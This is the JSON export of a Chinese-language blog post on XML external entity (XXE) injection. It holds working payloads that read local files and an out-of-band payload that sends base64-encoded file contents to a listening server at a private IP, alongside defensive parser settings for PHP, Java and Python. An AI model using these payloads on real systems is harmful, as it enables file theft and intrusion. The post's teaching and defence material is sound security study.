{"id":31,"date":"2023-02-19T22:18:29","date_gmt":"2023-02-19T14:18:29","guid":{"rendered":"http:\/\/123.207.45.199\/?p=31"},"modified":"2026-05-31T21:59:21","modified_gmt":"2026-05-31T13:59:21","slug":"xxe","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/02\/19\/xxe\/","title":{"rendered":"XXE"},"content":{"rendered":"\n

\u539f\u7406<\/h2>\n\n\n\n

XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165<\/p>\n\n\n\n

XML\u4ecb\u7ecd   
XML\u6307\u53ef\u6269\u5c55\u6807\u8bb0\u8bed\u8a00(EXtensible Markup Language)\u3002
XML\u7684\u8bbe\u8ba1\u5b97\u65e8\u662f\u4f20\u8f93\u6570\u636e\uff0c\u800c\u4e0d\u662f\u663e\u793a\u6570\u636e\u3002
XML\u662fW3C\u7684\u63a8\u8350\u6807\u51c6\u3002
XML\u4e0d\u4f1a\u505a\u4efb\u4f55\u4e8b\u60c5\u3002XML\u88ab\u8bbe\u8ba1\u7528\u6765\u7ed3\u6784\u5316\u3001\u5b58\u50a8\u4ee5\u53ca\u4f20\u8f93\u4fe1\u606f\u3002
XML\u8bed\u8a00\u6ca1\u6709\u9884\u5b9a\u4e49\u7684\u6807\u7b7e\u3002
\u200b
XXE\u5c31\u662fXML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165  simplexmd_load_string\u6709\u8fd9\u4e2a\u51fd\u6570\/xml=<!ent>\u5927\u6982\u7387\u5b58\u5728xxe\u6f0f\u6d1e
XML\u9884\u5b9a\u4e49\u4e94\u4e2a\u5b9e\u4f53\u5f15\u7528\uff0c\u5373\u7528&lt;&gt;&amp;&apos,&quot;\u66ff\u6362<>&'\"\u3002
\u200b
DTD
\u5206\u4e3a\u4ee5\u4e0b\u4e94\u79cd  \u5b57\u7b26\u5b9e\u4f53,\u547d\u540d\u5b9e\u4f53,\u5916\u90e8\u5b9e\u4f53,\u53c2\u6570\u5b9e\u4f53,\u5185\u90e8\u5b9e\u4f53
\u5185\u90e8\u5b9e\u4f53
\u200b
\u200b
\u5916\u90e8\u5b9e\u4f53
\u5f15\u5165\u5916\u90e8\u7684dtd\u6587\u4ef6
\u200b
\u5916\u90e8\u5b9a\u4e49\u9700\u52a0\u4e0asystem\u5173\u952e\u5b57    \u5185\u90e8\u6ca1\u6709  \u5b9e\u4f53\u6307\u4ee3\u5b57\u7b26\u4e32
\u200b
\u6709\u56de\u663e payload(\u82e5\u662f\u8bfb\u53d6\u6587\u4ef6\u5b58\u5728\u7279\u6b8a\u5b57\u7b26,\u53ef\u7528php:\/\/filter\/read=convert.base64-encode\/resource=\u8def\u5f84 \u4ee3\u66fffile:\/\/\/...)=>base64\u8bfb\u53d6
<?xml version=\"1.0\" encoding=\"utf-8\"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM \"file:\/\/\/\u8bfb\u53d6\u6587\u4ef6\u8def\u5f84\"> ]> 
<creds>&goodies;<\/creds>
\u200b
\u200b
\u65e0\u56de\u663epayload \u771f\u5b9e\u73af\u5883http\u5e94\u8be5\u4e3a\u516c\u7f51\u5730\u5740\u4e0b\u7684xxe_file.dtd\u6240\u5728\u6587\u4ef6\u76ee\u5f55
\u901a\u8fc7\u5916\u5e26\u901a\u9053\u63d0\u53d6\u6570\u636e,\u5148\u83b7\u53d6\u76ee\u6807\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u7136\u540e\u5c06\u5185\u5bb9\u4ee5http\u8bf7\u6c42\u53d1\u9001\u5230\u6570\u636e\u63a5\u6536\u7684\u670d\u52a1\u5668\u4e0a\u3002
\u200b
<?xml version=\"1.0\"?>
<!DOCTYPE ANY [
 <!ENTITY % file SYSTEM \"php:\/\/filter\/read=convert.base64-encode\/resource=\u6587\u4ef6\u8def\u5f84\">
 <!ENTITY % dtd SYSTEM \"http:\/\/www.localhost.com\/xxe_file.dtd\">
%dtd;
%send;
]> 
\u200b
xxe_file.dtd \u6587\u4ef6\u5185\u5bb9  =>\u5730\u5740\u4e3a\u63a5\u6536\u670d\u52a1\u5668\u5730\u5740     \u670d\u52a1\u5668\u64cd\u4f5c nc -lvp \u7aef\u53e3\u53f7
<!ENTITY % all
        \"<!ENTITY &#x25; send SYSTEM 'http:\/\/10.0.0.19:8888\/?%file;'>\"
        >
        %all;<\/pre>\n\n\n\n
\u5371\u5bb3<\/h2>\n\n\n\n
1.\u8bfb\u53d6\u4efb\u610f\u6587\u4ef6
2.\u6267\u884c\u7cfb\u7edf\u547d\u4ee4    \u9700\u8981expect\u6269\u5c55
3.\u63a2\u6d4b\u5185\u7f51\u7aef\u53e3
4.\u653b\u51fb\u5185\u7f51\u7f51\u7ad9<\/pre>\n\n\n\n
\u9632\u5fa1<\/h2>\n\n\n\n
PHP:
libxml_disable_entity_loader(true); \u662f\u5426\u5173\u95edxml\u5b9e\u4f53\u52a0\u8f7d
\u200b
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature(\"http:\/\/apache.org\/xml\/features\/disallow-doctype-decl\",true);
setFeature(\"http:\/\/xml.org\/sax\/features\/external-general-entities\",false)
setFeature(\"http:\/\/xml.org\/sax\/features\/external-parameter-entities\",false);
\u200b
Python:
from lxml import etree
xmlData etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
\u200b<\/pre>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u539f\u7406 XML\u5916\u90e8\u5b9e\u4f53\u6ce8\u5165 XML\u4ecb\u7ecd XML\u6307\u53ef\u6269\u5c55\u6807\u8bb0\u8bed\u8a00(EXtensible Markup Langua … <\/p>\n","protected":false},"author":3,"featured_media":26,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-31","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/31","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=31"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/31\/revisions"}],"predecessor-version":[{"id":32,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/31\/revisions\/32"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/26"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=31"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=31"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=31"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}